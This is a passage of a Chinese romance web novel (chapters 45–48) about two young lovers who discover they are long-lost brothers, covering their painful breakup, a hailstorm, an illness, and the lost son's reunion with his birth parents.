白仲钺呼吸粗重,闭起眼睛后仰撞在墙上,柏安立刻伸手垫在他后脑和墙中间,紧接着就看见白仲钺接连滑下一行又一行眼泪来。
“不行……”白仲钺嗓子里溢出带了压抑哭腔的含混一声,“不行啊安安……”
45.永夜
水汽上升,凝聚成云,遇冷液化,愈冷成雨雪,温度下降过猛凝结为雹,春夏多见,常伴强风雷电,危害极广。
一场卷天席地的冰雹被顶在网络各个版面首页,砸落、结冰,再被后来的雨夹雪覆盖,他们安静居于房间一角,直到所有声音消弭,直到天色亮起,直到布莱克在旁边焦急地叫。
白仲钺睁眼时被光亮刺得拧眉,身体关节像生了锈,转头抬手的简单动作都无比缓慢。柏安伏在他身上,漫长的黑夜与静默里,不知道是什么时候睡了过去。
他实在没力气,怕摔了柏安不敢像平时一样横抱,只能轻轻拍他:“去床上睡……安安?”
柏安身上烫得惊人。
白仲钺撑坐起身试了几次才把人稳稳抱回卧室。烧得太厉害,退烧药喂不下去,白仲钺边弄了湿毛巾搭在他额头边打电话叫医生,可路况太差根本跑不了车走不了人,付再多诊金也没人能上门。白仲钺想让祁延帮忙从医院安排一个医生过来,但医院短时间内只有前一夜的值班医生在,抽不出人手不说,距离太远实在没办法在短时间内赶到。
到处都在撒盐、撒沙、砸冰、开路,可交通仍旧无法在一时半刻恢复通行。白仲钺下楼看过,他一个人都只能勉强行走,没办法开车,带着柏安去医院根本不可能。
白业成有一位私人医生,白仲钺记得就住在附近。
“爸爸,能不能赵医生过来我住的地方一趟,不是我,很急,我晚点再和你解释。”
“你先劝劝你妈妈!今天早上看见一个新用户发了一则一模一样的寻亲讯息,说之前的账号登录不上了,你妈妈和对方联系后要了地址来,现在硬要去晚一天都不行,这种情况根本上不了路刹不住车,走路都得两步一摔!一个不小心就要命的事,我怎么说都不听!”
阮敏鲜少这样高声说话:“就在临区我走也能走到,你让开!”
“阮阮!你别跑我跟你去!再拿件衣服!”白业成急急跟着往外跑,差点忘了还通着电话,“小钺我把赵医生号码发你,先挂……”
“人不在临区。”
“什么?”
白仲钺狠狠闭了闭眼睛,哑声说:“我找到了,让妈妈安心在家里等。”
好一会儿,阮敏颤抖的声音出现在听筒里:“小钺……真的找到了?别骗妈妈……”
“真的,”白仲钺倚在门边看着柏安因为高热透红的脸,每一个字都像扎着钢刺在生生从喉咙里往外挤,“晚几天我带他……回家,先让赵医生过来……”
“你生病了?朋友吗……我想尽快见他行不行?”阮敏已然哽咽,“我可以去见他,我走着去,不会有事的……”
“先让赵医生来,其他晚一点再说行吗?求你了妈妈……”
“好,好,你别急……”
白仲钺曲着腿坐在床边的地板上,手伸到被子里握住柏安指尖都在发烫的手,绝望如有实体,压得他喘不过气。
很快有电话进来,医生问了情况,告诉白仲钺要先怎样照顾,他的确离白仲钺的住处很近,可现在外面路况实在是百年难遇的差,一百米的距离都要挪动好几分钟,哪怕路上走得顺利也要近一小时才能过来。
柏安一直没醒,终于挂上点滴后医生也给白仲钺输了液——他刚进门就看出白仲钺病了,还以为要看病的是白仲钺。
输液时,柏安躺在床上,白仲钺坐在客厅。
他不敢在柏安身边,不敢看柏安。
昨夜的哀求就在耳边,柏安那样哀切地求他不要分手,他说,不行。
也是他,曾经那样笃定地保证,他们会一直在一起,只要柏安爱他。
彼时何等信誓旦旦,现在才知晓还是想得浅薄,任凭如何自以为周全都没有用,命运戏弄地挥挥扇,卷起的尘埃落在人身上,便是一座座压碎脊骨的山。
输完液送走医生,白仲钺在客厅待了很久,终究还是忍不住进了卧室。
布莱克一直不声不响,就伏在柏安身边。他挨着布莱克坐在床边看着,什么都没想,也什么都想不了,大脑完全空着,许久许久,仍旧空白一片。
他就只是看着柏安,看他眉间蹙了蹙,睫毛抖了抖,最后缓缓睁开了眼睛。
谁都没说话。
那句“不行”还清清楚楚地印在柏安脑海里,昨晚听见这句他什么都没说,现在想到这一句仍是。
“爸爸妈妈……一直在找你,今天打电话的时候,我告诉他们……”白仲钺喉结重重滚了滚,“我说,我找到你了,会带你回家。”
家......柏安怔怔看着顶灯,眼睛干到哭不出的感觉,上一次,好像也就是不久前的事。
“那不是我的家。”
他没有家了。
有亲人的家没有了,有恋人的家也没有了。
“那是你的家,”白仲钺不知道在说服柏安还是自己,“不管认不认、想不想,我们都是......亲兄弟,改不了的。”
“兄弟.......”柏安轻笑一声,转过头看白仲钺,“上过床的亲兄弟吗?”
片刻无言,柏安撑坐起身,看着白仲钺,几近咄咄逼人:“你爸妈知道,他们找回来的儿子和自己的儿子谈过恋爱吗?他们知道自己的两个儿子抱过亲过做过吗?他们知道——”
“安安,”白仲钺露出难以承受的痛苦神色,“别再说了......”
柏安竖起的刺在触及白仲钺痛苦的一瞬全数软倒,他垂下眼,敛了伤人伤己的锋利:“对不起,分开,不怪你,接受不了才是正常的。我不会告诉他们,给我点时间,过一段时间......”
过一段时间怎样,柏安没说出口。他不需要那个所谓的家,也后悔找寻亲生父母。他不想,哪怕不能和白仲钺在一起,他也没办法和他做什么亲兄弟。
相顾无言,一日过半。
路上清理得差不多了,家里已经没有食材,白仲钺和柏安说过后出了门。
他走得很慢。
已经能够行人通车,外卖代送都可以点,不是一定要他出来买。他只是,难受得太厉害,忍不住看柏安,可看得每一眼又都让他止不住心绞。
回去时客厅里堆了一个行李箱和几个袋子,白仲钺猛地抬头,正对上从书房出来的柏安。
“宿舍原来的床位还空着,我和元睦和说了晚上回去,先住着之后再和老师重新申请住宿。你先养布莱克一段时间吧,不想养的话我看一下能不能找到人领养。那些成对的毛巾水杯睡衣我收了,都还有备用,不耽误你起居。”
“安安......”
柏安眼圈不知道第多少次红了,他下颌不自控地抖,撇过头避开白仲钺的视线才能开口:“别这样叫了,听着很难过,而且,也不合适,对吧。”
白仲钺动动唇,不知道第多少次说不出话。
——“怎么不关门呀?”
白仲钺就站在玄关背对着门口,被身后忽然出现的声音吓了一跳。
“多不安全,也不知道注意......”阮敏话到一半抬头看见柏安猛地僵住,眼泪几乎在一瞬就决了堤。
太像了,实在太像太像了,柏安简直像是弟弟阮捷的翻版。
柏安因为忽然到来的人愣在原地,他下意识看向白仲钺,可白仲钺没看过来。
是了,柏安想,白仲钺把他的事告诉家里了。可为什么呢,自己已经同意了分开,只是要一点时间。
他只是需要一点时间。
为什么连多给他一点时间都不愿意?
怕他不愿意回去,怕他缠着不放吗……还是快刀斩乱麻,早死早超生?
“子......子
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安.......啊.......”
阮敏哭得太难受,难受到生生把柏安从他自己的难受里剥离了出来。
当年阮敏赶到医院,只看见弟弟失去血色了无生机的脸。
当年阮敏回到家里,照看小儿子的阿姨哆嗦着对她说:“孩子,孩子丢了。”
现在看着不远处站着的人,近二十年的痛心遗憾和辗转反侧齐齐涌现搅缠,让阮敏哭得忘了今夕何夕。
白业成也禁不住频频侧脸擦拭眼角,他扶着阮敏安慰,给她顺气又忍不住看向柏安这里。
“子安......我能这么叫你吗?妈妈......我,我也不知道你现在叫什么......”
“柏安,”不知道是血缘基因在牵引,还是因为阮敏将将止住的痛哭,哪怕柏安在不久前还无比抵触所谓的亲生父母,现在却无法对阮敏展露半分推拒或冷漠,“柏林的柏,安全的安,你想叫什么都可以。”
“都有一个安字,不然叫你小安好吗?这样是不是会听着习惯一点?”
“都可以。”
阮敏一下笑出来,又落下泪,她满腹的话不知道从哪里说起,想摸摸他碰碰他又怕他介意反感,遮掩无措似的看向别处才发现白仲钺一直在玄关处站着,神情恍惚:“小钺,你怎么了?”
“……”白仲钺第一下没发出声音,顿了两秒,说:“没事。”
“是不是不舒服?对了,赵医生今天过来是给谁看病的?”
白仲钺不易察觉地向后退了些,让后背抵在入门柜上,好让自己站得住:“给他。”
阮敏立刻转而问柏安:“小安你怎么样?是发烧了吗?”
“没事了,”柏安低着头,忽然说,“叫子安吧。”
“好,那就叫子安......”阮敏的话被一阵声响打断,白业成向旁边闪开一步,露出刚刚被他不小心踢到的大束向日葵来。
很大的一束向日葵,占了一平米多的空间。
一看就不像白仲钺会有的东西,阮敏怕第一次见面就让孩子不高兴,有些着急地低声埋怨:“你怎么不看着点?是干花,都弄掉了。”
“挨着门边在地上,我没看见......”
“没事,”柏安在阮敏之前过去把那大束花抱起来,垂着眼睛捡起地上摔出来的一支,“本来就该扔的,我下去扔掉,很快上来。”
布莱克从角落里一跛一跛地跑过来,咬住柏安的裤腿又被柏安要求回窝里去。
“子安......”
柏安背对着三个人:“我想自己待一会儿。”
“子安,”白业成叫住他,“外面冷,你还没准备好见我们的话我们改天再来。你还病着,别出去了。”
“我想把花扔了。”
“妈妈帮你扔,一会儿帮你捎带下去......”
柏安紧了紧胳膊,怀里的干枝和包装纸挤压在一起发出窸窣不断的“咔嚓”声:“我想自己扔。”
白仲钺就在他旁边,视线落在柏安捏着花茎的泛白的指尖上,没有动作,没有说话,像一座沉默的雕塑,无法选择死亡或爆发。
他只能做一个末世中的哑巴。
柏安走到垃圾箱旁,站了许久才抬手,松开。
当初他和白仲钺一起把收到的所有向日葵包装到一起的时候,哪曾想过,有一天自己会亲手把它们扔进垃圾箱。
许多支向日葵因为倾斜中途掉在地上,摔落了花瓣茎叶。
干花耐得住久存,却经不起磕碰。
布莱克不知道什么时候跟了下来,“呜呜”叫着围着柏安打转,舔他的手和脸,柏安自顾蹲着,把散落一地的零碎一点一点捡起来,抱在怀里埋头收紧。
干枯断裂混杂在失声低泣里。
像永夜中切切长响的无望哀曲。
46.疼
“小钺,子安怎么在你这儿?这些行李是他的?”
白仲钺回过神,应了一声:“……他也在A大,是我的……学弟,之前认识了……他住的地方出现了点情况,来这儿住了一段时间……我不小心,看见他那块玉了……他想回学校住,刚收拾好。”
他在两个人的过去里挑挑拣拣,选出可以用来编织出“普通关系”的零碎片段,修缮裁剪,变成事实构造出的谎言。
如果是平时,阮敏一定能从白仲钺竭力维持的平静和叙述艰难的言语里寻见端倪,可她现在被找回了柏安这件事占据了全部注意力,加之一贯对白仲钺的信任,她在毫不怀疑的基础上又不自觉地在心里主动补平了略显牵强的地方。
“是因为知道你是谁了才想搬走的吗?子安他……是不是不想认回我们?之前他发了寻亲的讯息后一直联系不到,后来那则讯息也删了,他是不是怪我们?”
白仲钺看着阮敏红肿的眼睛,看着她明显的憔悴,看着她溢于言表的欢喜和担心,下意识说不是。
“他……”白仲钺微微侧头看向半开的门外,“他家里人,之前一起生活的家人,不久之前去世了,现在可能一下接受不了……”
好半天都没等到人回来,白业成劝阮敏先离开,给孩子点时间接受,下楼后正遇见往回走的柏安。
阮敏想到柏安之前的家人刚过世,话在出口前把“爸爸妈妈”改成了“我们”。
“我们就先回去了,你不要有压力,有时间的时候让小钺带你回家里看看好不好?”
柏安身上还粘着干枯的碎屑,闻言没说话。
阮敏忍不住伸手在他衣服上轻轻拍了两下,拂掉碎屑:“听小钺说你之前也是在校外住的,住不惯宿舍的话不要着急回去,稍远的小区有闲置房产,你先过去将就两天,我们很快给你另找一套离学校近的房子,到时候直接搬好吗?”
白仲钺视线抬起些,从柏安身前最后飘落的零星碎瓣移到脸上。柏安直立在那里,眼睛一直微垂着,没看他,也没有对话里的内容表现出什么异样,只说:“不用了,住宿舍比较方便。”
阮敏还要再劝,白业成轻轻拍了拍她的肩,对柏安说:“一定要搬的话我们把你送到学校吧,再晚点天就要开始黑了。”
“我自己可以。”
白仲钺说:“我送他就行。”
白业成没说什么,问柏安:“子安,你觉得呢?”
“好,谢谢......”
柏安话音断在迟疑里,白业成说:“没事,不用称呼。”
他能理解柏安叫不出爸爸妈妈,可也不想听见什么“叔叔阿姨”,那无异于是在阮敏的心口上扎刺。
阮敏也说:“对,没关系,你不用着急改口。”
“妈妈,”柏安仍旧垂着眼,看不出情绪,“爸爸。”
“哎,”阮敏掩住嘴,眼泪又涌出来,“哎……”
白业成也笑着答应:“哎,我让司机回去咱们自己开车,也有两年没去过A大了,正好去看看,当年我还在那儿读过书呢。”
人无法通过伤害在意的人获得报复的快感。
对方被刺进每一分,自己都会承担双倍的疼。
为对方疼而疼,也为那份疼出于自己而疼。
直到学校门口柏安才反应过来自己不该答应让他们送,何况一起的还有白仲钺。
这算什么?
他只想着快点逃离白仲钺的身边,在有白仲钺和以为没有白仲钺的两个选项里下意识选了后者,却没考虑到这样草率答应的后果。
总有人见过白仲钺的父母,即便恰巧遇不到,学校里多少人知道他和白仲钺是情侣、是恋人,现在一行四人一起进去算什么?
白业成想下车去门卫登记把车开进去,柏安在他开门前出声:“我自己进去就好,东西不多。”
“一个人不好拿的,”阮敏从副驾向后探身子,眼睛还红着,但脸上带着温和到极致的笑,“我们送你去,不麻烦,也顺便看看A大都有哪些变化了。”
柏安错开她那双柔得几乎要滴出水的眼睛,说:“真的不用了,我自己可以,你们可以逛一逛,趁着天还没黑。”
“好,按你说的来,”白业成深谙进退相辅的道理,握了握阮敏的手不让她坚持,“那我们在学校走走,你收拾好一起吃个饭吧,晚饭总要吃。”
柏安顿了顿,答应了。
阮敏想柏安大概不愿意被别人知道亲生父母的事,便也没再说什么,只在柏安下车时喊了白仲钺一声:“小钺你帮一下。”
“不用……”
“他闲着也没事,”阮敏不让柏安再拒绝,“同学之间帮一下,别人不会多想的。”
走在学校里的时候柏安看见熟悉的周围人投过来的目光,忽然有些恍惚。
他们在一起很久了,在路上还是会被路过的同学多看两眼或者低声讨论两句,曾经习惯了的关注和善意此刻如同芒刺在背,短暂平复的情绪消而又起。
柏安步子加快些,到并排的几个大号垃圾桶旁停住,向白仲钺伸手:“左手那几个袋子给我吧。”
那是柏安收在一起的两个人情侣款的日用品。
白仲钺提着袋子的手不断收紧,视线在柏安发颤的指尖短暂停留,而后向前跨出一步,把手里的几个袋子扔了进去。
事已至此,无路可退。
既然总要有个人做,就,别再让柏安来了。
垃圾桶很空,能听到袋子落到底的响声。
咚。
正是饭点,宿舍楼里人不多,柏安和几个打招呼问起的人简单聊了几句,只说宿舍上课方便。宿舍里只有元睦和在,床铺上之前卷到一边用被单盖着的被子已经重新铺好了。
“学长,”元睦和叫了白仲钺一声,又问柏安,“一起吃饭吧?他们俩一会儿就回来。”
“我还得出去,”柏安放下书包,发现桌子也擦过了,“谢谢,和他们说明天吧,我请你们。”
柏安和白仲钺之间气氛反常得太过于明显,何况忽然搬回宿舍这件事本身就像有隐情,元睦和想给他们空间,借口去吃饭走了。
一时间,单独的空间里又只剩了他们两个人。
从前柏安最喜欢和白仲钺单独待在一起,可现在每一个和白仲钺单独相处的场景都让他想逃离。
觉得疼,觉得窒息。
白仲钺似乎总有察觉他情绪的能力,不论他有没有表现或遮掩。
“我出去等你。”
没什么好收拾的,柏安坐在椅子上,对着行李箱出神。
密码锁没锁。
该换了。
柏安转到原来的629,按着开关,手随意在下边几个数字轮上拨动。
最开始是什么来着?
好像是727吧,自己的生日,在一起想换的时候也是先考虑了白仲钺的生日,可103或者030总觉得缺一位,之后有一天写白仲钺名字的首字母的时候,忽然觉得bzy三个字母可以演变成三个相似的数字。
629,白仲钺有一次开他行李箱的时候还问过为什么是这三个数,柏安当时有点不好意思,只说,随便设的。
“白仲钺?你站门口干什么?”
柏安按着开关锁的拇指一松,随手把箱子推到旁侧。
法思青推开门看见柏安在,一点不收敛地笑:“怎么着,吵架了啊?没事,咱宿舍就是本家,吵架就回。买了一堆关东煮,正好分你一半。”
柏安站起来:“你吃吧,我出去一趟。”
“这么心软不行啊,”法思青咬
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了一个牛丸,“怎么不得让他站几个小时长长记性。”
白仲钺看他这么快出来,问:“不收拾收拾吗?”
柏安说:“收拾好了。”
白仲钺没多说什么,和柏安一起向外走,到拐角时柏安落后了他半步,白仲钺停下等他,柏安没动。
两个人一前一后走出校门,没再并肩过。
天冷,白业成没和阮敏下车去学校,想逛逛是托辞,想和柏安拉近一点距离才是本意。
阮敏情绪又崩溃一次,白业成解开两人的安全带,好一会儿才安慰好。
开车去了白业成常去的一家饭店,离A大有段距离,路上刚清理过冰也不算好走,足有半个多小时才到地方。
店很大,装修很有意境,小桥,流水,芙蕖,壁画。
阮敏一直走在柏安旁边,白业成一直走在阮敏旁边,白仲钺只能落后几步,看柏安的背影。
席间喝了酒。
白业成自从查出身体不太好就停了酒,至多偶尔喝两杯药酒,阮敏向来只是浅尝几口就停,可今晚都喝了许多。
到后来,连一直算是平静的白业成都转过头去捂着脸颤了好半天。
叫了两个司机开车来,一个把白业成和阮敏送回家,一个送白仲钺和柏安。
“子安……”上车前,阮敏忍不住拉了柏安的手,“有时间回家来看看好吗?妈妈真的……妈妈真的特别想你……还有很多事想告诉你……”
柏安指点蜷了蜷,说:“好。”
白仲钺和柏安也都喝了酒,关上车门,开着暖风,酒气顿时覆满车厢边角,将醉的人头脑昏沉,一时想向旁边人的肩上靠。
柏安落下车窗,让冷风扑在脸上灌进衣领。
让自己清醒。
他拗不过执意送自己回去的白仲钺,只能任他不远不近地在自己后面跟着。
把挡眼的头发抄到后边时,指根的硬环碰到额角,他停下步子,端详那枚因习惯而被遗忘的戒指。
而后摘了下来。
“怎么了?”
柏安转头看走近的白仲钺,掌心向上伸手讨要:“戒指。”
“……我没戴。”
柏安点点头:“扔了吧。”
他走路有些晃,头脑也不太清楚,拐了条窄路。平时没什么,可现在学校里只清了几条主路上的冰。
柏安走几步滑一下,稳住身子再继续走,白仲钺不再离他几步远,就在他身边略偏后的位置,一直虚抬着手。
脚下又一滑时,白仲钺握住了柏安小臂。
“不用……”
柏安一挣,白仲钺没松手。
“我说不用!”
柏安甩开的动作幅度太大,让白仲钺松手的同时也稳不住自己,白仲钺扶不住他,摔倒时把人往怀里一带让自己垫在了底下。
谁都没动。
呼吸是热的,可天太冷。
“白仲钺。”
“嗯。”
柏安几乎是不受自我控制地贴近白仲钺衣领下的温度,他闭着眼睛,再靠近时鼻尖触到了被体温暖热了的项链。
有时候他明明觉得自己哭不出了,眼泪偏要证明自己存在似的往外冒。
“白仲钺……”
他又念了一声,白仲钺就在他耳边应:“嗯……”
“我们只能是兄弟了……”
白仲钺沉默良久,终究只能应一声:“嗯。”
柏安的手探进领口,在他脖颈边摸索,白仲钺感觉到项链被抽走时立刻伸手去抓,堪堪拽住,任柏安怎样用力都不肯松。
一场毫无意义的沉默拉锯。
颈根处猛地一疼,牙尖陷进皮肉,出了血。
白仲钺直直望着黑沉沉的天,抬手在柏安后脑用力按了按。
47.不行
白仲钺和柏安分手了。
起初有人发帖的时候评论都是否认指责,说有的人就是见不得别人好,说哪对情侣不闹几次脾气吵几次架,说他们都分手的话自己再也不相信爱情了。
直到有人憋不住去柏安面前问,柏安淡淡承认说,是分手了。
祁延不在A市,听说的时候晚饭刚吃两口,给白仲钺打电话问,白仲钺沉默一会儿说分了,再问什么都不再开口。祁延听出不对直接开车往回赶,还没到白仲钺住的地方先被他爹发来的消息砸得愣在了车里。
【白家刚找回的小儿子与你同为A大学生,有机会可多照看拉近关系,日后当有裨益。】
让祁延愣住的是下边一张照片,很清楚,是——柏安?!
“什么意思?你说那是谁?”
“一惊一乍,你总和白家仲钺在一处,他如今管理家中公司,酒桌上几个老总谈及都要赞一句年少有为前途无量,你怎么没学到他的沉稳?”
祁延没心思听他爹说话,再次放大看了一遍照片后直奔重点:“你说给我发的那张照片,是谁?”
“是白家小儿子,从前走丢,刚找回不久还没对外宣布。白家正着手筹备一场大型慈善晚会,到时会把他公开介绍给所有人。”
祁延简直不能用人类语言来表达自己的震惊:“怎么可能?”
“白业成的夫人已经和他做过鉴定,确认无误。只看长相的确与白业成和白仲钺不太像,但据说与白业成夫人早逝的弟弟极相似,都说外甥多肖舅……”
“我操他爹的什么玩意儿!”
“祁延!我教训过你多少——”
“你省省吧,用不着你教训!别以为找上门的小孩鉴定出来不是亲生的就万事大吉,到底有没有干过腌臜事你心里清楚,但凡查出什么我第一个支持我妈离婚把你赶出董事会!”
祁延直接挂了电话给白仲钺打,一连几遍都是无人接听,到白仲钺楼下那边才接:“怎么了?”
“你在家没?”
白仲钺停了会儿,慢吞吞说:“在。”
一听就知道是喝多了,祁延提高音量:“爬起来给我解门禁开门,半分钟上去。”
又过了会儿,那边问:“你怎么回来了?”
祁延简直想炸,到了门口连铃都没按直接对着门板拍了两巴掌:“先开门!”
真开门的时候祁延差点被酒气熏个趔趄,他最近被逼着谈生意天天喝酒,闻到酒味就头疼。
布莱克冲着祁延“汪汪”地叫,白仲钺皱着眉喊它一声,布莱克消停两秒,又叫起来。
“布莱克。”
“汪呜汪汪!”
“闭嘴。”
“呜——汪汪汪——!!!”
布莱克毕竟是大型犬,祁延不怕狗也被这一通叫得胆战:“你之前不是说它什么话都懂可听话吗?”
“嗯,听,”白仲钺看了跑到卧室门口守地盘似的布莱克一眼,对祁延说,“别进主卧,它不咬人。”
“没看出来它哪里听,”祁延进屋看见茶几上的一堆,“你真不怕把自己喝死在屋里。”
“没事。”
“光自己喝啊?不给我倒上?”
白仲钺就给祁延倒满,端着自己的杯子在祁延杯子上碰了下:“干。”
祁延看着白仲钺把杯底剩的一口喝光,又看看自己面前满满当当的一整杯,笑了声,又骂了句,一气喝干净。
他陪着白仲钺喝了半宿,没说柏安,拍着桌子和白仲钺骂遇见的傻x暴发户,后来也不知道什么时候睡着了,醒的时候在沙发上,身上盖了层被子。
“老白?哎我艹!”祁延被旁边的布莱克吓了一跳,“你这一只眼盯着我看什么劲儿,艹,白仲钺也不怕你趁我睡觉给我咬一口。”
祁延被吓清醒了才隐约听见有淋浴的水声,估计白仲钺在洗澡。
刚七点多,也不知道这人怎么能爬得起来。布莱克似乎看祁延没有什么“异动”,又回主卧门口趴下了。祁延先给校花发消息报备,又把该交代的交代好,最后伸手把手机往茶几一放拍拍头,感觉刚清醒的那股劲儿又被昨晚的酒弄没了。
再睁眼是被白仲钺推醒的。
祁延眯着眼看了看,白仲钺换了衬衣西裤弄了头发剃了胡子,正打领带,除了眼里的血丝半点看不出前一晚上的颓唐样子。
“你今天有事吗,有事就起来收拾回去,没事继续睡。”
“请假了,”祁延坐起来,转了个方向斜倚在沙发上,“我现在就是个打工的,上头有人顶着,缺几天岗不影响。”
“那你去客卧睡吧。”
“老白。”
“干什么?”
祁延半天没说出个所以然,抓着头发爆了句粗口。
“千万别安慰我,”白仲钺把衬衣领翻下来,“你自己叫东西吃,我还有事。”
“你……”
白仲钺穿好西装走到玄关处:“到底想说什么?”
“没,”祁延抱着胳膊吊儿郎当地把脚蹬在茶几上,“就是想问问你,别的都好说,眼底下那一大块青眼圈是怎么没的?”
“粉底。”
“什么玩意儿?”
白仲钺换鞋,没搭理他。
“效果挺好啊,一点看不出来,”祁延像看吉祥物似的看他,“真是士别三日刮目相看,你个仗着底子好懒得抹脸的人都用粉底了?”
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“不然我一脸肾虚样去和人谈判?”
“你真是,男人能说自己虚吗?不能!”
白仲钺随手抓了盒烟朝祁延身上一砸:“走了。”
门关严之后祁延脸散了脸上的笑,他倒回沙发上,想到他爹昨天电话里说的话,想到白仲钺之前去做的鉴定,想到在医院里白仲钺那丢了魂似的两天一夜,想到昨天晚上白仲钺后来攥着项链戒指一遍一遍低声念。
“柏安。”
“安安。”
……
祁延手盖住眼,半晌骂了句:“怎么就能这么操蛋!”
白仲钺下午结束得早,想和祁延去吃个饭结果祁延二话不说把他拉上车,油门一踩去了家酒吧。
工作日,还是白天,酒吧里人不多,但门窗都遮着,灯光打得暗,进门之后就分不清时间。
白仲钺不太适应地按按耳朵:“来这儿干什么?”
“放松——!”
“你不用喊我也能听见——!”
“那你喊什么——!”
白仲钺笑骂了声:“有病。”
“哥们儿,两杯有病!”
这儿叫有病的酒呛嗓子,白仲钺喝了一口,又一口气喝下大半杯,呛得扶着桌子咳嗽,咳得眼泪淌了满脸。
“男人也是人,哭不丢人!哭!哭完咱就过去了,成吗?”
这个叫有病的酒特别适合他,辣,烈,一连两三杯喝下去都觉得不够,白仲钺攥着酒杯,趴在桌上:“你不知道……你不知道……”
祁延好一会儿没出声,又抿了一口酒才说:“我知道。”
“呵……你知道什么,知道我和柏安分了……”
“我爸听说你家找回小儿子的事了,想让我巴结柏安,给我发了照片。”
白仲钺没说话,可强撑着的什么东西好像在无形里塌了。
“柏安,是你弟弟。”
“对,是我弟弟……”白仲钺攥着祁延的袖子,终于在痛苦之外流露出弱态,“可是我爱他……”
“不行,”祁延红着眼,盯着白仲钺更红的眼睛,“你听见了吗?不行,今天好好醉一场,就当做了个梦,过去吧,那是你亲弟弟,不行你知道吗老白?”
不行。
这两个字太熟了,他对自己说过,对柏安说过,现在又换了祁延来说。
白仲钺手里的杯子歪了,半杯酒洒在桌上,浸湿了袖子。他撑着桌面直起腰,扫过来的灯照在他半边身上,让他一半在亮光下一半在暗影里。白仲钺向后倚在卡座靠背上,离开不断变换颜色的灯光,让自己全部陷进暗处。
“我知道不行……”
他比谁都知道不行。
48.哥
寒假柏安回了白家,刚刚住了一晚,他就想离开。
阮敏和白业成对他很好,特别好,可这栋房子里到处都是白仲钺的痕迹,他的照片、他的衣服、他的书,他比赛的奖杯、他组装的模型、他挑选的用具。哪怕一眼看上去和白仲钺无关的,柏安都能想到白仲钺,沙发是他坐过的、遥控是他摸过的、楼梯是他踩过的、门把手是他拧过的......
柏安不是想离开,他是想逃。
前一晚白仲钺有事,第二天晚上白业成把白仲钺叫了回去,厨师团做了满桌的菜,都端上桌就离开了。
“今天这餐才是真正的团圆饭,来,共同举杯,敬我们一家四口。”
一家,四口。
柏安随着笑了笑,果酒喝在嘴里泛着股药的苦味。
阮敏不断用公筷给柏安夹菜:“子安,主厨做的东星斑特别好,你尝尝。”
“他不……”
“很好吃。”柏安像没听到白仲钺的声音,毫无异色地吃了。
白业成也夹了一筷正要吃:“小钺你刚刚说什么?”
“没事。”
晚上,白仲钺就住在他隔壁的房间。
只隔了一堵墙。
柏安失眠了整个晚上。
他根本没有办法控制自己去想,这一面墙另一边,就是白仲钺。
那是白仲钺。
-
“子安昨晚没睡好吗?”
“还好。”
“脸色有点差,精神也不好,是不是不舒服?”
“没有,”柏安在餐桌旁坐下,“夜里起风声音大。”
阮敏转向白业成:“晚上起风了?”
“昨天的报道说是有强风,不过我没听见,最近睡觉越来越沉了。”
“睡得好是好事,不过今年恶劣天气真多,马上过年了都没有好好下场雪。”
白仲钺一直没出声,他话明显比从前少了。阮敏自觉这段时间以来忽略了白仲钺,虽说在外能已经独当一面,可在她看来到底还是孩子,被分走了关注和偏爱总会不舒服。
“小钺昨晚睡得怎么样?”
“啊,挺好的。”
白仲钺抬眼看过来阮敏才注意到他眼里的血丝,他不像柏安那么明显的没精神,看不出黑眼圈,可他瘦了很多,眼睛里的红血丝也不会骗人。
“你最近就在家里住一段时间,好好养养,自从你接公司到现在一直在瘦,平时衣服穿得多不明显,昨天我看你穿的那件睡衣都明显比去年松垮了。”
白仲钺扯着嘴角笑了笑,给阮敏盛了小碗汤:“哪有那么夸张,刚开始忙得厉害瘦一点很正常,以后就好了。不信你问爸爸,他当初一定有比我更忙更累的时候。”
“就是,年轻人嘛,吃点苦没什么,”白业成招手示意金嫂端茶过来,又对柏安说,“年前公司忙,等年后子安可以趁着寒假有时间去公司熟悉熟悉,小钺也有时间带你。家里所有东西都有你的一份,以后总还是要你们兄弟两个一起把事业做大做好。”
“我没接触过管理,做不好这些。”
“哪有人天生什么都会,都是学来的,只要想学,现在就是最早的时候。别担心,有我和你哥哥手把手教,还能学不好?”
柏安垂着眼看碗底半透明的胶状液体里裹着的一颗枸杞,很饱满,颜色也很漂亮:“我不想进公司。”
那是白仲钺的东西。
白业成还要再说,阮敏先开了口:“不想去也没事,喜欢什么就做什么,又不是一定要会这些才行。先吃饭吧,把汤喝完,你也该好好补补,怎么兄弟俩一个比一个瘦。”
“对了小钺,你交的朋友家里知道你吗?知道的话要挑些礼品去送年,不知道的话你就替爸爸妈妈把压岁红包转交给他。去年不知道你们的事,今年知道可不能再少了。”
“小钺?”白业成放下茶杯,“你妈妈和你说话呢。”
“我……”
柏安手里的勺子紧紧抵着碗底,扶着碗沿和捏着勺柄的手指都泛起白,他从头顶到指尖僵得厉害,不知道自己在怕什么。
明明已经这样了。
“我们分手了。”
啪——
细瓷勺柄断作两半,锋利的断口在柏安拇指内侧划出一道长长的血线。
阮敏还没来得及对这句分手做出回应,就被柏安这边的声响分了神,餐椅与地面突兀的摩擦声在意外和惊呼里没被过多注意,不等其他人反应,白仲钺已经把医药箱拿到了餐桌旁。
“没事,”柏安躲过白仲钺的手,“我自己来。”
白仲钺一怔,退后半步:“好。”
“我就说同性恋不可靠!之前说什么认定了,现在怎么样?你觉得自己长大了,一辈子长着呢!”白业成说完还是气不过,“这么长时间怕我查到捂得跟宝一样什么都不说,他是个什么人物啊?看不上你哪儿?还想找个天仙吗?”
“不是他的问题。”
“不是他难道是你?我不知道你什么样吗?人又不在跟前你替他开脱什么?”
白仲钺心口闷得几乎要喘不过气,还是坚持说:“不是他,我的问题。”
阮敏给柏安包好手就在中间打圆场:“好了好了,现在社会和以前不一样,和一个人走到最后的才有多少。小钺别管你爸爸,最近在家里待一段时间吧?家里到公司不比你住处远多少,在家里总归吃得舒适些,让金嫂多做点好的给你养养。”
“好。”
“有什么事不要总一个人担着,这些不开心的事都可以告诉家里,累了就休息,你自己才是最重
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要的,知道吗?”
“嗯,”白仲钺坐回去,说,“我没事。”
“我想出去几天,”柏安指尖抵在缠裹的绷带边缘,“散散心。”
“最近吗?家里人都很想见你,准备过两天带你去见见你爷爷奶奶外婆外公的,还没来得及和你商量,”阮敏一停,又说,“你想出去玩就去吧,注意安全就好,我去和他们说,等过年再见也是一样的。”
柏安其实除了想回去给家人上坟外没有什么地方要去,于是改口说:“我明天就回来,不耽误。”
“太好了,长辈们年龄大了怕心急。这样,这次你回来我们去看他们,等年后你再出去好好玩一段时间好吗?”
柏安应了。
白业成拿来一张银行卡。
“不用,我有……”
